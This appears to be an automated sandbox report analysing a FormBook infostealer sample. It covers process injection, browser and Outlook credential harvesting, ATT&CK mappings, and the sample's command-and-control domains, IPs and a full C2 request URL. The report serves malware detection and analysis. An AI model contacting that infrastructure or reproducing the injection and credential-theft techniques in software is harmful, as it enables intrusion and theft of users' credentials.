            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtSetInformationThread: Direct from: 0x777563F9Jump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtAllocateVirtualMemory: Direct from: 0x77763C9CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtSetInformationThread: Direct from: 0x77762B4CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtQueryAttributesFile: Direct from: 0x77762E6CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtClose: Direct from: 0x77762B6C
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtReadVirtualMemory: Direct from: 0x77762E8CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtCreateKey: Direct from: 0x77762C6CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtQuerySystemInformation: Direct from: 0x777648CCJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtAllocateVirtualMemory: Direct from: 0x777648ECJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtQueryVolumeInformationFile: Direct from: 0x77762F2CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtOpenSection: Direct from: 0x77762E0CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtDeviceIoControlFile: Direct from: 0x77762AECJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtAllocateVirtualMemory: Direct from: 0x77762BECJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtQueryInformationToken: Direct from: 0x77762CACJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtCreateFile: Direct from: 0x77762FECJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtOpenFile: Direct from: 0x77762DCCJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtOpenKeyEx: Direct from: 0x77762B9CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtSetInformationProcess: Direct from: 0x77762C5CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtProtectVirtualMemory: Direct from: 0x77762F9CJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\wextract.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: NULL target: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: NULL target: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\wextract.exeThread register set: target process: 1548Jump to behavior
            Queues an APC in another process (thread injection)
            Source: C:\Windows\SysWOW64\wextract.exeThread APC queued: target process: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeJump to behavior
            Writes to foreign memory regions
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 5B1008Jump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00436CD7 LogonUserW,0_2_00436CD7
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D590
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00434418
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0043333C __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_0043333C
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\oLCnCWQDhK.exe"Jump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeProcess created: C:\Windows\SysWOW64\wextract.exe "C:\Windows\SysWOW64\wextract.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00446124 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00446124
            Source: oLCnCWQDhK.exe, EthPSueuMbeZ.exe, 0000000C.00000000.1825794737.0000000001A41000.00000002.00000001.00040000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2505262703.0000000001A40000.00000002.00000001.00040000.00000000.sdmp, EthPSueuMbeZ.exe, 00000010.00000000.1979959044.0000000001861000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: EthPSueuMbeZ.exe, 0000000C.00000000.1825794737.0000000001A41000.00000002.00000001.00040000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2505262703.0000000001A40000.00000002.00000001.00040000.00000000.sdmp, EthPSueuMbeZ.exe, 00000010.00000000.1979959044.0000000001861000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: EthPSueuMbeZ.exe, 0000000C.00000000.1825794737.0000000001A41000.00000002.00000001.00040000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2505262703.0000000001A40000.00000002.00000001.00040000.00000000.sdmp, EthPSueuMbeZ.exe, 00000010.00000000.1979959044.0000000001861000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: ?Program Manager
            Source: EthPSueuMbeZ.exe, 0000000C.00000000.1825794737.0000000001A41000.00000002.00000001.00040000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2505262703.0000000001A40000.00000002.00000001.00040000.00000000.sdmp, EthPSueuMbeZ.exe, 00000010.00000000.1979959044.0000000001861000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: oLCnCWQDhK.exeBinary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004720DB GetLocalTime,__swprintf,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,0_2_004720DB
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00472C3F GetUserNameW,0_2_00472C3F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0041E364 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,0_2_0041E364
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,0_2_0040E500

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.690000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.690000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000D.00000002.2503030807.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1910782362.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000D.00000002.2505420589.0000000004950000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000D.00000002.2505519891.00000000049A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1910510903.0000000000690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.2505688280.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1911128401.0000000003550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\wextract.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\wextract.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
            Source: oLCnCWQDhK.exeBinary or memory string: WIN_XP
            Source: oLCnCWQDhK.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 8, 1USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----&
            Source: oLCnCWQDhK.exeBinary or memory string: WIN_XPe
            Source: oLCnCWQDhK.exeBinary or memory string: WIN_VISTA
            Source: oLCnCWQDhK.exeBinary or memory string: WIN_7
            Source: oLCnCWQDhK.exeBinary or memory string: WIN_8

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.690000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.690000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000D.00000002.2503030807.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1910782362.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000D.00000002.2505420589.0000000004950000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000D.00000002.2505519891.00000000049A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1910510903.0000000000690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.2505688280.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1911128401.0000000003550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,0_2_004652BE
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00476619
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0046CEF3

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts            		2
            Native API            		1
            DLL Side-Loading            		1
            Exploitation for Privilege Escalation            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		2
            System Time Discovery            		Remote Services1
            Archive Collected Data            		2
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/Job2
            Valid Accounts            		1
            Abuse Elevation Control Mechanism            		1
            Deobfuscate/Decode Files or Information            		21
            Input Capture            		1
            Account Discovery            		Remote Desktop Protocol1
            Data from Local System            		1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		1
            Abuse Elevation Control Mechanism            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares1
            Email Collection            		3
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
            Valid Accounts            		3
            Obfuscated Files or Information            		NTDS16
            System Information Discovery            		Distributed Component Object Model21
            Input Capture            		3
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
            Access Token Manipulation            		1
            DLL Side-Loading            		LSA Secrets141
            Security Software Discovery            		SSH3
            Clipboard Data            		Fallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
            Process Injection            		2
            Valid Accounts            		Cached Domain Credentials2
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
            Virtualization/Sandbox Evasion            		DCSync3
            Process Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
            Access Token Manipulation            		Proc Filesystem1
            Application Window Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
            Process Injection            		/etc/passwd and /etc/shadow1
            System Owner/User Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1529043 Sample: oLCnCWQDhK.exe Startdate: 08/10/2024 Architecture: WINDOWS Score: 100 28 www.timetime.store 2->28 30 www.servehimfoundation.org 2->30 32 2 other IPs or domains 2->32 40 Suricata IDS alerts for network traffic 2->40 42 Malicious sample detected (through community Yara rule) 2->42 44 Antivirus / Scanner detection for submitted sample 2->44 46 4 other signatures 2->46 10 oLCnCWQDhK.exe 1 2->10         started        signatures3 process4 signatures5 58 Writes to foreign memory regions 10->58 60 Maps a DLL or memory area into another process 10->60 62 Switches to a custom stack to bypass stack traces 10->62 13 svchost.exe 10->13         started        process6 signatures7 64 Maps a DLL or memory area into another process 13->64 16 EthPSueuMbeZ.exe 13->16 injected process8 signatures9 38 Found direct / indirect Syscall (likely to bypass EDR) 16->38 19 wextract.exe 13 16->19         started        process10 signatures11 48 Tries to steal Mail credentials (via file / registry access) 19->48 50 Tries to harvest and steal browser information (history, passwords, etc) 19->50 52 Modifies the context of a thread in another process (thread injection) 19->52 54 3 other signatures 19->54 22 EthPSueuMbeZ.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 servehimfoundation.org 84.32.84.32, 49970, 80 NTT-LT-ASLT Lithuania 22->34 36 www.n0pme6.top 198.44.251.203, 49971, 49972, 49973 IKGUL-26484US United States 22->36 56 Found direct / indirect Syscall (likely to bypass EDR) 22->56 signatures14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            oLCnCWQDhK.exe76%ReversingLabsWin32.Trojan.Autoitinject
            oLCnCWQDhK.exe100%AviraHEUR/AGEN.1321886
            oLCnCWQDhK.exe100%Joe Sandbox ML

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
            https://duckduckgo.com/chrome_newtab0%URL Reputationsafe
            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
            https://duckduckgo.com/ac/?q=0%URL Reputationsafe
            https://www.ecosia.org/newtab/0%URL Reputationsafe
            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            www.n0pme6.top
            		198.44.251.203
            		truetrue
              		unknown
              servehimfoundation.org
              		84.32.84.32
              		truetrue
                		unknown
                www.timetime.store
                		unknown
                		unknowntrue
                  		unknown
                  www.servehimfoundation.org
                  		unknown
                  		unknowntrue
                    		unknown

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    http://www.n0pme6.top/2i77/?FBeh=LTODvrhkMVqC3PKCaJdvO2t6hDsejrMuF+eBTdKoQS/6ei5HfNTQm76vsHOzwLCg1kh0lrMBTIeoxNiIEVh8EQZRdYH26u2LqJt1YWeMJrh5ZIo+pKpB+Wc3K2X12eL+1JIO5dLCeoUs&DfhDq=hvZ8HhLP1Ltrue
                      		unknown
                      http://www.n0pme6.top/2i77/true
                        		unknown

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        http://www.n0pme6.topEthPSueuMbeZ.exe, 00000010.00000002.2504820863.0000000001285000.00000040.80000000.00040000.00000000.sdmpfalse
                          		unknown
                          https://ac.ecosia.org/autocomplete?q=wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://duckduckgo.com/chrome_newtabwextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://duckduckgo.com/ac/?q=wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://www.google.com/images/branding/product/ico/googleg_lodp.icowextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpfalse
                            		unknown
                            https://www.ecosia.org/newtab/wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchwextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            84.32.84.32
                            		servehimfoundation.orgLithuania
                            		33922NTT-LT-ASLTtrue
                            198.44.251.203
                            		www.n0pme6.topUnited States
                            		26484IKGUL-26484UStrue

                            General Information

                            Joe Sandbox version:41.0.0 Charoite
                            Analysis ID:1529043
                            Start date and time:2024-10-08 15:43:18 +02:00
                            Joe Sandbox product:CloudBasic
                            Overall analysis duration:0h 8m 4s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                            Number of analysed new started processes analysed:17
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:2
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Sample name:oLCnCWQDhK.exe
                            renamed because original name is a hash value
                            Original Sample Name:09e15623dc49aa61d1d72e7a158d20c671093901c365fd2d5cbbf449d535a88a.exe
                            Detection:MAL
